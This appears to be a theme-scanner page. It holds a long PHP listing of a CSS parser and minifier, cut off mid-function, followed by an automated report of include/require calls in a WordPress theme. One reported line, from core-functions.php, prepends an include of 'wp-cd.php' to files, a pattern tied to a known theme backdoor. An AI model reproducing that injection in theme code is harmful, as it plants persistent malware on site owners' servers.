abstract public function __toString(); } abstract class aCssDeclarationToken extends aCssToken { public $IsImportant = false; public $IsLast = false; public $Property = ''; public $Value = ''; public function __construct($property, $value, $isImportant = false, $isLast = false) { $this->Property = $property; $this->Value = $value; $this->IsImportant = $isImportant; $this->IsLast = $isLast; } public function __toString() { return $this->Property . ':' . $this->Value . ($this->IsImportant ? ' !important' : '') . ($this->IsLast ? '' : ';'); } } abstract class aCssAtBlockStartToken extends aCssToken { } abstract class aCssAtBlockEndToken extends aCssToken { public function __toString() { return '}'; } } class CssWhitesmithsFormatter extends aCssFormatter { public function __toString() { $r = array(); $level = 0; for ($i = 0, $l = count($this->tokens); $i < $l; $i++) { $token = $this->tokens[$i]; $class = get_class($token); $indent = str_repeat($this->indent, $level); if ($class === 'CssCommentToken') { $lines = array_map('trim', explode('\n', $token->Comment)); for ($ii = 0, $ll = count($lines); $ii < $ll; $ii++) { $r[] = $indent . (substr($lines[$ii], 0, 1) == '*' ? ' ' : '') . $lines[$ii]; } } elseif ($class === 'CssAtCharsetToken') { $r[] = $indent . '@charset ' . $token->Charset . ';'; } elseif ($class === 'CssAtFontFaceStartToken') { $r[] = $indent . '@font-face'; $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtImportToken') { $r[] = $indent . '@import ' . $token->Import . ' ' . implode(', ', $token->MediaTypes) . ';'; } elseif ($class === 'CssAtKeyframesStartToken') { $r[] = $indent . '@keyframes \'' . $token->Name . '\''; $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtMediaStartToken') { $r[] = $indent . '@media ' . implode(', ', $token->MediaTypes); $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtPageStartToken') { $r[] = $indent . '@page'; $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssAtVariablesStartToken') { $r[] = $indent . '@variables ' . implode(', ', $token->MediaTypes); $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class === 'CssRulesetStartToken' || $class === 'CssAtKeyframesRulesetStartToken') { $r[] = $indent . implode(', ', $token->Selectors); $r[] = $this->indent . $indent . '{'; $level++; } elseif ($class == 'CssAtFontFaceDeclarationToken' || $class === 'CssAtKeyframesRulesetDeclarationToken' || $class === 'CssAtPageDeclarationToken' || $class == 'CssAtVariablesDeclarationToken' || $class === 'CssRulesetDeclarationToken' ) { $declaration = $indent . $token->Property . ': '; if ($this->padding) { $declaration = str_pad($declaration, $this->padding, ' ', STR_PAD_RIGHT); } $r[] = $declaration . $token->Value . ($token->IsImportant ? ' !important' : '') . ';'; } elseif ($class === 'CssAtFontFaceEndToken' || $class === 'CssAtMediaEndToken' || $class === 'CssAtKeyframesEndToken' || $class === 'CssAtKeyframesRulesetEndToken' || $class === 'CssAtPageEndToken' || $class === 'CssAtVariablesEndToken' || $class === 'CssRulesetEndToken' ) { $r[] = $indent . '}'; $level--; } } return implode('\n', $r); } } class CssVariablesMinifierPlugin extends aCssMinifierPlugin { private $reMatch = '/var\((.+)\)/iSU'; private $variables = null; public function getVariables() { return $this->variables; } public function apply(aCssToken &$token) { if (stripos($token->Value, 'var') !== false && preg_match_all($this->reMatch, $token->Value, $m)) { $mediaTypes = $token->MediaTypes; if (!in_array('all', $mediaTypes)) { $mediaTypes[] = 'all'; } for ($i = 0, $l = count($m[0]); $i < $l; $i++) { $variable = trim($m[1][$i]); foreach ($mediaTypes as $mediaType) { if (isset($this->variables[$mediaType], $this->variables[$mediaType][$variable])) { $token->Value = str_replace($m[0][$i], $this->variables[$mediaType][$variable], $token->Value); continue 2; } } CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': No value found for variable <code>' . $variable . '</code> in media types <code>' . implode(', ', $mediaTypes) . '</code>', (string) $token)); $token = new CssNullToken(); return true; } } return false; } public function getTriggerTokens() { return array ( 'CssAtFontFaceDeclarationToken', 'CssAtPageDeclarationToken', 'CssRulesetDeclarationToken' ); } public function setVariables(array $variables) { $this->variables = $variables; } } class CssVariablesMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $variables = array(); $defaultMediaTypes = array('all'); $mediaTypes = array(); $remove = array(); for($i = 0, $l = count($tokens); $i < $l; $i++) { if (get_class($tokens[$i]) === 'CssAtVariablesStartToken') { $remove[] = $i; $mediaTypes = (count($tokens[$i]->MediaTypes) == 0 ? $defaultMediaTypes : $tokens[$i]->MediaTypes); foreach ($mediaTypes as $mediaType) { if (!isset($variables[$mediaType])) { $variables[$mediaType] = array(); } } for($i = $i; $i < $l; $i++) { if (get_class($tokens[$i]) === 'CssAtVariablesDeclarationToken') { foreach ($mediaTypes as $mediaType) { $variables[$mediaType][$tokens[$i]->Property] = $tokens[$i]->Value; } $remove[] = $i; } elseif (get_class($tokens[$i]) === 'CssAtVariablesEndToken') { $remove[] = $i; break; } } } } foreach($variables as $mediaType => $null) { foreach($variables[$mediaType] as $variable => $value) { if (stripos($value, 'var') !== false && preg_match_all('/var\((.+)\)/iSU', $value, $m)) { for ($i = 0, $l = count($m[0]); $i < $l; $i++) { $variables[$mediaType][$variable] = str_replace($m[0][$i], (isset($variables[$mediaType][$m[1][$i]]) ? $variables[$mediaType][$m[1][$i]] : ''), $variables[$mediaType][$variable]); } } } } foreach ($remove as $i) { $tokens[$i] = null; } if (!($plugin = $this->minifier->getPlugin('CssVariablesMinifierPlugin'))) { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The plugin <code>CssVariablesMinifierPlugin</code> was not found but is required for <code>' . __CLASS__ . '</code>')); } else { $plugin->setVariables($variables); } return count($remove); } } class CssUrlParserPlugin extends aCssParserPlugin { public function getTriggerChars() { return array('(', ')'); } public function getTriggerStates() { return false; } public function parse($index, $char, $previousChar, $state) { if ($char === '(' && strtolower(substr($this->parser->getSource(), $index - 3, 4)) === 'url(' && $state !== 'T_URL') { $this->parser->pushState('T_URL'); $this->parser->setExclusive(__CLASS__); } elseif ($char === '\n' && $previousChar === '\\' && $state === 'T_URL') { $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -2)); } elseif ($char === '\n' && $previousChar !== '\\' && $state === 'T_URL') { $line = $this->parser->getBuffer(); $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -1) . ')'); $this->parser->popState(); $this->parser->unsetExclusive(); CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Unterminated string literal', $line . '_')); } elseif ($char === ')' && $state === 'T_URL') { $this->parser->popState(); $this->parser->unsetExclusive(); } else { return false; } return true; } } class CssStringParserPlugin extends aCssParserPlugin { private $delimiterChar = null; public function getTriggerChars() { return array('\'', ''', '\n'); } public function getTriggerStates() { return false; } public function parse($index, $char, $previousChar, $state) { if (($char === '\'' || $char === ''') && $state !== 'T_STRING') { $this->delimiterChar = $char; $this->parser->pushState('T_STRING'); $this->parser->setExclusive(__CLASS__); } elseif ($char === '\n' && $previousChar === '\\' && $state === 'T_STRING') { $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -2)); } elseif ($char === '\n' && $previousChar !== '\\' && $state === 'T_STRING') { $line = $this->parser->getBuffer(); $this->parser->popState(); $this->parser->unsetExclusive(); $this->parser->setBuffer(substr($this->parser->getBuffer(), 0, -1) . $this->delimiterChar); CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Unterminated string literal', $line . '_')); $this->delimiterChar = null; } elseif ($char === $this->delimiterChar && $state === 'T_STRING') { if ($previousChar == '\\') { $source = $this->parser->getSource(); $c = 1; $i = $index - 2; while (substr($source, $i, 1) === '\\') { $c++; $i--; } if ($c % 2) { return false; } } $this->parser->popState(); $this->parser->unsetExclusive(); $this->delimiterChar = null; } else { return false; } return true; } } class CssSortRulesetPropertiesMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { if (get_class($tokens[$i]) !== 'CssRulesetStartToken') { continue; } $endIndex = false; for ($ii = $i + 1; $ii < $l; $ii++) { if (get_class($tokens[$ii]) !== 'CssRulesetEndToken') { continue; } $endIndex = $ii; break; } if (!$endIndex) { break; } $startIndex = $i; $i = $endIndex; if ($endIndex - $startIndex <= 2) { continue; } for ($ii = $startIndex + 1; $ii < $endIndex; $ii++) { if (get_class($tokens[$ii]) !== 'CssRulesetDeclarationToken') { continue(2); } } $declarations = array_slice($tokens, $startIndex + 1, $endIndex - $startIndex - 1); $sortRequired = $lastPropertyName = false; foreach ($declarations as $declaration) { if ($lastPropertyName) { if (strcmp($lastPropertyName, $declaration->Property) > 0) { $sortRequired = true; break; } } $lastPropertyName = $declaration->Property; } if (!$sortRequired) { continue; } usort($declarations, array(__CLASS__, 'userDefinedSort1')); for ($ii = 0, $ll = count($declarations) - 1; $ii <= $ll; $ii++) { if ($ii == $ll) { $declarations[$ii]->IsLast = true; } else { $declarations[$ii]->IsLast = false; } } array_splice($tokens, $startIndex + 1, $endIndex - $startIndex - 1, $declarations); $r += $endIndex - $startIndex - 1; } return $r; } public static function userDefinedSort1($a, $b) { return strcmp($a->Property, $b->Property); } } class CssRulesetStartToken extends aCssRulesetStartToken { public $Selectors = array(); public function __construct(array $selectors = array()) { $this->Selectors = $selectors; } public function __toString() { return implode(',', $this->Selectors) . '{'; } } class CssRulesetParserPlugin extends aCssParserPlugin { public function getTriggerChars() { return array(',', '{', '}', ':', ';'); } public function getTriggerStates() { return array('T_DOCUMENT', 'T_AT_MEDIA', 'T_RULESET::SELECTORS', 'T_RULESET', 'T_RULESET_DECLARATION'); } private $selectors = array(); public function parse($index, $char, $previousChar, $state) { if ($char === ',' && ($state === 'T_DOCUMENT' || $state === 'T_AT_MEDIA' || $state === 'T_RULESET::SELECTORS')) { if ($state !== 'T_RULESET::SELECTORS') { $this->parser->pushState('T_RULESET::SELECTORS'); } $this->selectors[] = $this->parser->getAndClearBuffer(',{'); } elseif ($char === '{' && ($state === 'T_DOCUMENT' || $state === 'T_AT_MEDIA' || $state === 'T_RULESET::SELECTORS')) { if ($this->parser->getBuffer() !== '') { $this->selectors[] = $this->parser->getAndClearBuffer(',{'); if ($state == 'T_RULESET::SELECTORS') { $this->parser->popState(); } $this->parser->pushState('T_RULESET'); $this->parser->appendToken(new CssRulesetStartToken($this->selectors)); $this->selectors = array(); } } elseif ($char === ':' && $state === 'T_RULESET') { $this->parser->pushState('T_RULESET_DECLARATION'); $this->buffer = $this->parser->getAndClearBuffer(':;', true); } elseif ($char === ':' && $state === 'T_RULESET_DECLARATION') { if ($this->buffer === 'filter') { return false; } CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': Unterminated declaration', $this->buffer . ':' . $this->parser->getBuffer() . '_')); } elseif (($char === ';' || $char === '}') && $state === 'T_RULESET_DECLARATION') { $value = $this->parser->getAndClearBuffer(';}'); if (strtolower(substr($value, -10, 10)) === '!important') { $value = trim(substr($value, 0, -10)); $isImportant = true; } else { $isImportant = false; } $this->parser->popState(); $this->parser->appendToken(new CssRulesetDeclarationToken($this->buffer, $value, $this->parser->getMediaTypes(), $isImportant)); if ($char === '}') { $this->parser->appendToken(new CssRulesetEndToken()); $this->parser->popState(); } $this->buffer = ''; } elseif ($char === '}' && $state === 'T_RULESET') { $this->parser->popState(); $this->parser->clearBuffer(); $this->parser->appendToken(new CssRulesetEndToken()); $this->buffer = ''; $this->selectors = array(); } else { return false; } return true; } } class CssRulesetEndToken extends aCssRulesetEndToken { } class CssRulesetDeclarationToken extends aCssDeclarationToken { public $MediaTypes = array('all'); public function __construct($property, $value, $mediaTypes = null, $isImportant = false, $isLast = false) { parent::__construct($property, $value, $isImportant, $isLast); $this->MediaTypes = $mediaTypes ? $mediaTypes : array('all'); } } class CssRemoveLastDelarationSemiColonMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { for ($i = 0, $l = count($tokens); $i < $l; $i++) { $current = get_class($tokens[$i]); $next = isset($tokens[$i+1]) ? get_class($tokens[$i+1]) : false; if (($current === 'CssRulesetDeclarationToken' && $next === 'CssRulesetEndToken') || ($current === 'CssAtFontFaceDeclarationToken' && $next === 'CssAtFontFaceEndToken') || ($current === 'CssAtPageDeclarationToken' && $next === 'CssAtPageEndToken')) { $tokens[$i]->IsLast = true; } } return 0; } } class CssRemoveEmptyRulesetsMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { $current = get_class($tokens[$i]); $next = isset($tokens[$i + 1]) ? get_class($tokens[$i + 1]) : false; if (($current === 'CssRulesetStartToken' && $next === 'CssRulesetEndToken') || ($current === 'CssAtKeyframesRulesetStartToken' && $next === 'CssAtKeyframesRulesetEndToken' && !array_intersect(array('from', '0%', 'to', '100%'), array_map('strtolower', $tokens[$i]->Selectors))) ) { $tokens[$i] = null; $tokens[$i + 1] = null; $i++; $r = $r + 2; } } return $r; } } class CssRemoveEmptyAtBlocksMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { $current = get_class($tokens[$i]); $next = isset($tokens[$i + 1]) ? get_class($tokens[$i + 1]) : false; if (($current === 'CssAtFontFaceStartToken' && $next === 'CssAtFontFaceEndToken') || ($current === 'CssAtKeyframesStartToken' && $next === 'CssAtKeyframesEndToken') || ($current === 'CssAtPageStartToken' && $next === 'CssAtPageEndToken') || ($current === 'CssAtMediaStartToken' && $next === 'CssAtMediaEndToken')) { $tokens[$i] = null; $tokens[$i + 1] = null; $i++; $r = $r + 2; } } return $r; } } class CssRemoveCommentsMinifierFilter extends aCssMinifierFilter { public function apply(array &$tokens) { $r = 0; for ($i = 0, $l = count($tokens); $i < $l; $i++) { if (get_class($tokens[$i]) === 'CssCommentToken') { $tokens[$i] = null; $r++; } } return $r; } } class CssParser { private $buffer = ''; private $plugins = array(); private $source = ''; private $state = 'T_DOCUMENT'; private $stateExclusive = false; private $stateMediaTypes = false; private $states = array('T_DOCUMENT'); private $tokens = array(); public function __construct($source = null, array $plugins = null) { $plugins = array_merge(array ( 'Comment' => true, 'String' => true, 'Url' => true, 'Expression' => true, 'Ruleset' => true, 'AtCharset' => true, 'AtFontFace' => true, 'AtImport' => true, 'AtKeyframes' => true, 'AtMedia' => true, 'AtPage' => true, 'AtVariables' => true ), is_array($plugins) ? $plugins : array()); foreach ($plugins as $name => $config) { if ($config !== false) { $class = 'Css' . $name . 'ParserPlugin'; $config = is_array($config) ? $config : array(); if (class_exists($class)) { $this->plugins[] = new $class($this, $config); } else { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The plugin <code>' . $name . '</code> with the class name <code>' . $class . '</code> was not found')); } } } if (!is_null($source)) { $this->parse($source); } } public function appendToken(aCssToken $token) { $this->tokens[] = $token; } public function clearBuffer() { $this->buffer = ''; } public function getAndClearBuffer($trim = '', $tolower = false) { $r = $this->getBuffer($trim, $tolower); $this->buffer = ''; return $r; } public function getBuffer($trim = '', $tolower = false) { $r = $this->buffer; if ($trim) { $r = trim($r, ' \t\n\r\0\x0B' . $trim); } if ($tolower) { $r = strtolower($r); } return $r; } public function getMediaTypes() { return $this->stateMediaTypes; } public function getSource() { return $this->source; } public function getState() { return $this->state; } public function getPlugin($class) { static $index = null; if (is_null($index)) { $index = array(); for ($i = 0, $l = count($this->plugins); $i < $l; $i++) { $index[get_class($this->plugins[$i])] = $i; } } return isset($index[$class]) ? $this->plugins[$index[$class]] : false; } public function getTokens() { return $this->tokens; } public function isState($state) { return ($this->state == $state); } public function parse($source) { $this->source = ''; $this->tokens = array(); $globalTriggerChars = ''; $plugins = $this->plugins; $pluginCount = count($plugins); $pluginIndex = array(); $pluginTriggerStates = array(); $pluginTriggerChars = array(); for ($i = 0, $l = count($plugins); $i < $l; $i++) { $tPluginClassName = get_class($plugins[$i]); $pluginTriggerChars[$i] = implode('', $plugins[$i]->getTriggerChars()); $tPluginTriggerStates = $plugins[$i]->getTriggerStates(); $pluginTriggerStates[$i] = $tPluginTriggerStates === false ? false : '|' . implode('|', $tPluginTriggerStates) . '|'; $pluginIndex[$tPluginClassName] = $i; for ($ii = 0, $ll = strlen($pluginTriggerChars[$i]); $ii < $ll; $ii++) { $c = substr($pluginTriggerChars[$i], $ii, 1); if (strpos($globalTriggerChars, $c) === false) { $globalTriggerChars .= $c; } } } $source = str_replace('\r\n', '\n', $source); $source = str_replace('\r', '\n', $source); $this->source = $source; $buffer = &$this->buffer; $exclusive = &$this->stateExclusive; $state = &$this->state; $c = $p = null; for ($i = 0, $l = strlen($source); $i < $l; $i++) { $c = $source[$i]; if ($exclusive === false) { if ($c === '\n' || $c === '\t') { $c = ' '; } if ($c === ' ' && $p === ' ') { continue; } } $buffer .= $c; if (strpos($globalTriggerChars, $c) !== false) { if ($exclusive) { $tPluginIndex = $pluginIndex[$exclusive]; if (strpos($pluginTriggerChars[$tPluginIndex], $c) !== false && ($pluginTriggerStates[$tPluginIndex] === false || strpos($pluginTriggerStates[$tPluginIndex], $state) !== false)) { $r = $plugins[$tPluginIndex]->parse($i, $c, $p, $state); if ($r === true) { continue; } elseif ($r !== false && $r != $i) { $i = $r; continue; } } } else { $triggerState = '|' . $state . '|'; for ($ii = 0, $ll = $pluginCount; $ii < $ll; $ii++) { if (strpos($pluginTriggerChars[$ii], $c) !== false && ($pluginTriggerStates[$ii] === false || strpos($pluginTriggerStates[$ii], $triggerState) !== false)) { $r = $plugins[$ii]->parse($i, $c, $p, $state); if ($r === true) { break; } elseif ($r !== false && $r != $i) { $i = $r; break; } } } } } $p = $c; } return $this->tokens; } public function popState() { $r = array_pop($this->states); $this->state = $this->states[count($this->states) - 1]; return $r; } public function pushState($state) { $r = array_push($this->states, $state); $this->state = $this->states[count($this->states) - 1]; return $r; } public function setBuffer($buffer) { $this->buffer = $buffer; } public function setExclusive($exclusive) { $this->stateExclusive = $exclusive; } public function setMediaTypes(array $mediaTypes) { $this->stateMediaTypes = $mediaTypes; } public function setState($state) { $r = array_pop($this->states); array_push($this->states, $state); $this->state = $this->states[count($this->states) - 1]; return $r; } public function unsetExclusive() { $this->stateExclusive = false; } public function unsetMediaTypes() { $this->stateMediaTypes = false; } } class CssOtbsFormatter extends aCssFormatter { public function __toString() { $r = array(); $level = 0; for ($i = 0, $l = count($this->tokens); $i < $l; $i++) { $token = $this->tokens[$i]; $class = get_class($token); $indent = str_repeat($this->indent, $level); if ($class === 'CssCommentToken') { $lines = array_map('trim', explode('\n', $token->Comment)); for ($ii = 0, $ll = count($lines); $ii < $ll; $ii++) { $r[] = $indent . (substr($lines[$ii], 0, 1) == '*' ? ' ' : '') . $lines[$ii]; } } elseif ($class === 'CssAtCharsetToken') { $r[] = $indent . '@charset ' . $token->Charset . ';'; } elseif ($class === 'CssAtFontFaceStartToken') { $r[] = $indent . '@font-face {'; $level++; } elseif ($class === 'CssAtImportToken') { $r[] = $indent . '@import ' . $token->Import . ' ' . implode(', ', $token->MediaTypes) . ';'; } elseif ($class === 'CssAtKeyframesStartToken') { $r[] = $indent . '@keyframes \'' . $token->Name . '\' {'; $level++; } elseif ($class === 'CssAtMediaStartToken') { $r[] = $indent . '@media ' . implode(', ', $token->MediaTypes) . ' {'; $level++; } elseif ($class === 'CssAtPageStartToken') { $r[] = $indent . '@page {'; $level++; } elseif ($class === 'CssAtVariablesStartToken') { $r[] = $indent . '@variables ' . implode(', ', $token->MediaTypes) . ' {'; $level++; } elseif ($class === 'CssRulesetStartToken' || $class === 'CssAtKeyframesRulesetStartToken') { $r[] = $indent . implode(', ', $token->Selectors) . ' {'; $level++; } elseif ($class == 'CssAtFontFaceDeclarationToken' || $class === 'CssAtKeyframesRulesetDeclarationToken' || $class === 'CssAtPageDeclarationToken' || $class == 'CssAtVariablesDeclarationToken' || $class === 'CssRulesetDeclarationToken' ) { $declaration = $indent . $token->Property . ': '; if ($this->padding) { $declaration = str_pad($declaration, $this->padding, ' ', STR_PAD_RIGHT); } $r[] = $declaration . $token->Value . ($token->IsImportant ? ' !important' : '') . ';'; } elseif ($class === 'CssAtFontFaceEndToken' || $class === 'CssAtMediaEndToken' || $class === 'CssAtKeyframesEndToken' || $class === 'CssAtKeyframesRulesetEndToken' || $class === 'CssAtPageEndToken' || $class === 'CssAtVariablesEndToken' || $class === 'CssRulesetEndToken' ) { $level--; $r[] = str_repeat($indent, $level) . '}'; } } return implode('\n', $r); } } class CssNullToken extends aCssToken { public function __toString() { return ''; } } class CssMinifier { private $filters = array(); private $plugins = array(); private $minified = ''; public function __construct($source = null, array $filters = null, array $plugins = null) { $filters = array_merge(array ( 'ImportImports' => false, 'RemoveComments' => true, 'RemoveEmptyRulesets' => true, 'RemoveEmptyAtBlocks' => true, 'ConvertLevel3Properties' => false, 'ConvertLevel3AtKeyframes' => false, 'Variables' => true, 'RemoveLastDelarationSemiColon' => true ), is_array($filters) ? $filters : array()); $plugins = array_merge(array ( 'Variables' => true, 'ConvertFontWeight' => false, 'ConvertHslColors' => false, 'ConvertRgbColors' => false, 'ConvertNamedColors' => false, 'CompressColorValues' => false, 'CompressUnitValues' => false, 'CompressExpressionValues' => false ), is_array($plugins) ? $plugins : array()); foreach ($filters as $name => $config) { if ($config !== false) { $class = 'Css' . $name . 'MinifierFilter'; $config = is_array($config) ? $config : array(); if (class_exists($class)) { $this->filters[] = new $class($this, $config); } else { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The filter <code>' . $name . '</code> with the class name <code>' . $class . '</code> was not found')); } } } foreach ($plugins as $name => $config) { if ($config !== false) { $class = 'Css' . $name . 'MinifierPlugin'; $config = is_array($config) ? $config : array(); if (class_exists($class)) { $this->plugins[] = new $class($this, $config); } else { CssMin::triggerError(new CssError(__FILE__, __LINE__, __METHOD__ . ': The plugin <code>' . $name . '</code> with the class name <code>' . $class . '</code> was not found')); } } } if (!is_null($source)) { $this->minify($source); } } public function getMinified() { return $this->minified; } public function getPlugin($class) { static $index = null; if (is_null($index)) { $index = array(); for ($i = 0, $l = count($this->plugins); $i < $l; $i++) { $index[get_class($this->plugins[$i])] = $i; } } return isset($index[$class]) ? $this->plugins[$index[$class]] : false; } public function minify($source) { $r = ''; $parser = new CssParser($source); $tokens = $parser->getTokens(); $filters = $this->filters; $filterCount = count($this->filters); $plugins = $this->plugins; $pluginCount = count($plugins); $pluginIndex = array(); $pluginTriggerTokens = array(); $globalTriggerTokens = array(); for ($i = 0, $l = count($plugins); $i < $l; $i++) { $tPluginClassName = get_class($plugins[$i]); $pluginTriggerTokens[$i] = $plugins[$i]->getTriggerTokens(); foreach ($pluginTriggerTokens[$i] as $v) { if (!in_array($v, $globalTriggerTokens)) { $globalTriggerTokens[] = $v; } } $pluginTriggerTokens[$i] = '|' . implode('|', $pluginTriggerTokens[$i]) . '|'; $pluginIndex[$tPluginClassName] = $i; } $globalTriggerTokens = '|' . implode('|', $globalTriggerTokens) . '|'; for($i = 0; $i < $filterCount; $i++) { if ($filters[$i]->apply($tokens) > 0) { $tokens = array_values(array_filter($tokens)); } } $tokenCount = count($tokens); for($i = 0; $i < $tokenCount; $i++) { $triggerToken = '|' . get_class($tokens[$i]) . '|'; if (strpos($globalTriggerTokens, $triggerToken) !== false) { for($ii = 0; $ii < $pluginCount; $ii++) { if (strpos($pluginTriggerTokens[$ii], $triggerToken) !== false || $pluginTriggerTokens[$ii] === false) { if ($plugins[$ii]->apply($tokens[$i]) === true) { continue 2; } } } } } for($i = 0; $i < $tokenCount; $i++) { $r .= (string) $tokens[$i]; } $this->minified = $r; return $r; } } class CssMin { private static $classIndex = array(); private static $errors = array(); private static $isVerbose = false; public static function autoload($class) { if (isset(self::$classIndex[$class])) { require(self::$classIndex[$class]); } } public static function getErrors() 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-options-ui.php
    Line 32: include ( admin_path() . 'panel/' . $file . '.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-importer.php
    Line 59: include ( ABSPATH . 'wp-admin/includes/taxonomy.php' );
    Line 62: include ( ABSPATH . 'wp-admin/includes/post.php' );
    Line 65: include ( ABSPATH . 'wp-admin/includes/comment.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : core-functions.php
    Line 43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : spyropress-widget-init.php
    Line 92: include ( 'spyroprss-module-extras.php' );
    Line 107: include ( 'spyroprss-widget-extras.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : popup.php
    Line 4: require_once( 'class-shortcodes.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : get-wp.php
    Line 8: require_once( $path_to_wp . '/wp-load.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-shortcodes.php
    Line 4: require_once( 'get-wp.php' );
    Line 42: require_once( $this->conf );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : twitteroauth.php
    Line 10: require_once('OAuth.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : theme-functions.php
    Line 71: include_once('shortcodes.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : init.php
    Line 7: include (get_template_directory() . '/framework/core-functions.php');
    Line 41: include_once( PLSH_CORE_PATH . 'shared-functions.php' );
    Line 42: include_once( PLSH_ADMIN_PANEL_PATH . 'admin-functions.php' );
    Line 43: include_once( PLSH_ADMIN_PANEL_PATH . 'admin-templates.php' );
    Line 44: include_once( PLSH_CORE_PATH . 'template-functions.php' );
    Line 45: include_once( PLSH_LIB_PATH . 'settings.class.php' );
    Line 46: include_once( PLSH_LIB_PATH . 'uploadHandler.class.php' );
    Line 47: include_once( PLSH_LIB_PATH . 'tgmPluginActivation.class.php' );
    Line 48: include_once( PLSH_THEME_PATH . 'settings.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : shared-functions.php
    Line 253: require_once(ABSPATH . 'wp-admin/includes/plugin.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : tgmPluginActivation.class.php
    Line 983: require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : template-functions.php
    Line 11: include($path);
    Line 20: include($path);
    Line 33: include(PLSH_TEMPLATE_PATH . $template . '.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes